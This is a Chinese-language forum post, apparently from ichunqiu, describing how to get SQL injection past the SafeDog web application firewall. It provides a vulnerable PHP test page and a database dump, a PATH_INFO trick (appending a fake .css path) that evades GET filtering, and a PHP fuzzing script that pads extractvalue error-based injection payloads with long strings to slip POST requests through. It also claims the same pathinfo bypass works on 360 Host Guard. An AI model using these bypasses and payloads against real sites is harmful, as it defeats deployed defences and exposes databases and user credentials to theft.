標籤:對象 沒有 number arch sso myisam ade windows generator
索馬里的海賊
來源:ichunqiu
本文屬i春秋原創獎勵計劃,未經許可禁止轉載!
前言
前些日子測試漏洞碰上了安全狗,一直做代碼審計沒什麼實戰經驗 被虐的不要不要的。找了一些網上的方法,基本上封的封有限制的有限制,沒什麼通用的好方法(當然也可能是我找的姿勢不對)。昨天有點時間就特地看了下安全狗的邏輯做了一些fuzz,成功bypass了GET和POST的注入防禦,不是特別通用,就當給大夥分享一些思路。
本文
測試環境
Windows Server 2003 Enterprise Edition Service Pack 2
Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
網站安全狗(APACHE版) V3.5正式版
- 1.主程式版本:3.5.12048
- 2.網馬庫版本:2016-06-29
測試代碼
sqlin.php:
<?php$link = mysql_connect(‘localhost‘, ‘root‘, ‘root‘); mysql_select_db(‘anquangou‘, $link);$sql = ‘select * from `user` where `id`=‘.$_REQUEST[‘id‘]; echo $sql."<br>\n";$result =mysql_query($sql);while($array = mysql_fetch_assoc($result)){ echo "id:".$array[‘Id‘]."<br />\n";echo "username:".$array[‘username‘]."<br />\n"; echo "password:".$array[‘password‘]."<br />\n";}echo mysql_error();
資料庫:
# Host: localhost (Version: 5.5.53)# Date: 2016-11-19 17:57:30# Generator: MySQL-Front 5.3 (Build 4.234)/*!40101 SET NAMES utf8 */;## Structure for table "admin"#DROP TABLE IF EXISTS `admin`;CREATE TABLE `admin` (`Id` int(11) NOT NULL AUTO_INCREMENT, `admin_name` varchar(255) DEFAULT NULL, `admin_pass` varchar(255) DEFAULT NULL, PRIMARY KEY (`Id`)) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;## Data for table "admin"#/*!40000 ALTER TABLE `admin` DISABLE KEYS */; INSERT INTO `admin` VALUES (1,‘admin‘,‘admin888‘);/*!40000 ALTER TABLE `admin` ENABLE KEYS */;## Structure for table "user"#DROP TABLE IF EXISTS `user`;CREATE TABLE `user` (`Id` int(11) NOT NULL AUTO_INCREMENT, `username` varchar(255) DEFAULT NULL, `password` varchar(255) DEFAULT NULL, PRIMARY KEY (`Id`)) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=utf8;## Data for table "user"#/*!40000 ALTER TABLE `user` DISABLE KEYS */;INSERT INTO `user` VALUES (1,‘user‘,‘userpass‘),(2,‘user2‘,‘upass2‘); /*!40000 ALTER TABLE `user` ENABLE KEYS */;
GET型注入
GET型的注入其實能動手腳的地方不多,就一個url。安全狗沒有公開自己的防護規則,不過有添加規則的功能,看了下是用正則文法。猜測官方規則應該也是正則。繞過有兩種選擇:
1.繞過正則的匹配,匹配失敗當然就不會被攔截了。
2.繞過(或者打亂)程式的邏輯。不進入匹配邏輯也就不會攔截了。
對於正則繞過,在不知道防護規則具體Regex的前提下,就只能fuzz了,各種穿插配合。不過我嘗試的是第二種方法。
安全狗的原理是往Web Service中注入一個模組,搶在Web Service處理之前獲得HTTP請求並根據規則處理,沒問題就交給Web Service繼續處理,有問題就攔截並返回自訂錯誤資訊。
一個簡單的測試
fakefile.php實際上並不存在,但是仍然會被安全狗攔下來。當然也包括php5 php4 asp cer asa等等等等 甚至副檔名是.111都會攔截。不過也有例外,常見的靜態檔案(.js .jpg .swf .css等等)它是不管的。
可以看到並沒有出攔截提示而是直接404了 所以猜測安全狗應該是存在類似白名單機制的,特定的靜態資源尾碼請求就不處理直接交給webserver 這種處理看起來沒問題其實是存在隱患的 Apache和IIS預設都開啟pathinfo支援 來做個測試
對php來說 請求的是sqlin.php 後面的/pathinfo.css是 PATH_INFO 但是安全狗好像把 pathinfo.css 當作了真正的請求對象,因為是靜態資源 所以不做處理直接把請求丟給了php。
就這麼秒了?對。。是不是so easy?
POST型注入
POST型再用pathinfo就不好使了 因為正常對靜態資源的請求不會用post 所以也不用什麼白名單了 任何POST請求都要先進狗嘴了繞一圈 那麼就想辦法來fuzz一下吧 構造一個post指令碼
<?php $i=10000;$url = ‘http://192.168.1.121/sqlin.php‘; for(;;){$i++;echo "$i\n";$payload = ‘id=-1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))) and 1=‘.str_repeat(‘3‘,$i); $ret = doPost($url,$payload);if(!strpos($ret,‘網站防火牆‘)){echo "done!\n".strlen($payload)."\n".$ret; die();}}function doPost($url,$data=‘‘){ $ch=curl_init();curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1 ); curl_setopt($ch, CURLOPT_HEADER, 0 ); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 ); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); $return = curl_exec ($ch);curl_close ($ch); return $return;}
在正常的注入語句後面加入超長字串 然而跑了很久都沒結果 於是停下指令碼 換換位置 把超長字串放在中間
$payload = ‘id=-1 and 1=‘.str_repeat(‘3‘,$i).‘ and (extractvalue(1,concat(0x7e,(select user()),0x7e)))‘;
跑起來
wtf?又秒了?瀏覽器中試一下
太坑了 我才剛脫褲子你告訴我結束了
後記
其實實際測試中過程要複雜的多,時間關係挑了成功的步驟寫一下pathinfo其實是一個很容易被忽視的問題 順帶測試了一下360的主機衛士 也存在相同的問題。而且360的主機衛士內建的白名單還有類似於dede admin 這樣的(後台操作不防禦)可以用
http://example.com/index.php/admin/?id=sql注入這種方式來秒
更多安全技術、精品好文、白帽駭客大佬盡在:http://bbs.ichunqiu.com/portal.php
記一次720度托馬斯迴旋過狗!